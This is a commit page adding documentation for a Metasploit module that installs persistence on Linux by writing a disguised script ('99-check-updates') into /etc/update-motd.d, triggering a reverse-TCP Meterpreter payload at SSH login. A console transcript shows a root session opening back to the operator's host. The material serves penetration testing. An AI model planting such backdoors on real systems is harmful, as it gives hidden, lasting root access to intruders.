Skip to content

Commit 2762132

Browse files
committed
docs: adding motd_persistence docs
1 parent 5e2fab2 commit 2762132

File tree

1 file changed

+49
-0
lines changed

1 file changed

+49
-0
lines changed
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
This is a post module that perform a persistence installation on a linux system using [motd](https://manpages.debian.org/bookworm/manpages/motd.5.en.html).
2+
To trigger the persistence execution, an external event such as an user logging in the system with `SSH` is required.
3+
4+
## Verification Steps
5+
6+
1. Start msfconsole
7+
2. Obtain a session on the target machine
8+
3. `use exploit/linux/local/motd_persistence`
9+
4. `set session -1`
10+
5. `exploit`
11+
12+
## Module usage
13+
14+
```
15+
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use motd
16+
17+
Matching Modules
18+
================
19+
20+
# Name Disclosure Date Rank Check Description
21+
- ---- --------------- ---- ----- -----------
22+
0 exploit/linux/local/motd_persistence 1999-01-01 normal No update-motd.d Persistence
23+
24+
25+
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/local/motd_persistence
26+
27+
[*] Using exploit/linux/local/motd_persistence
28+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
29+
msf6 exploit(linux/local/motd_persistence) > set session -1
30+
session => -1
31+
msf6 exploit(linux/local/motd_persistence) > exploit
32+
33+
[*] /etc/update-motd.d/99-check-updates written
34+
msf6 exploit(linux/local/motd_persistence) >
35+
[*] Sending stage (3045380 bytes) to 172.18.49.39
36+
[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400
37+
msf6 exploit(linux/local/motd_persistence) > sessions -i -1
38+
[*] Starting interaction with 2...
39+
40+
meterpreter > getuid
41+
Server username: root
42+
meterpreter >
43+
```
44+
45+
## Options
46+
47+
### BACKDOOR_NAME
48+
49+
Specify the name of the file to insert in the motd directory. (Default: 99-check-updates)

0 commit comments

Comments
 (0)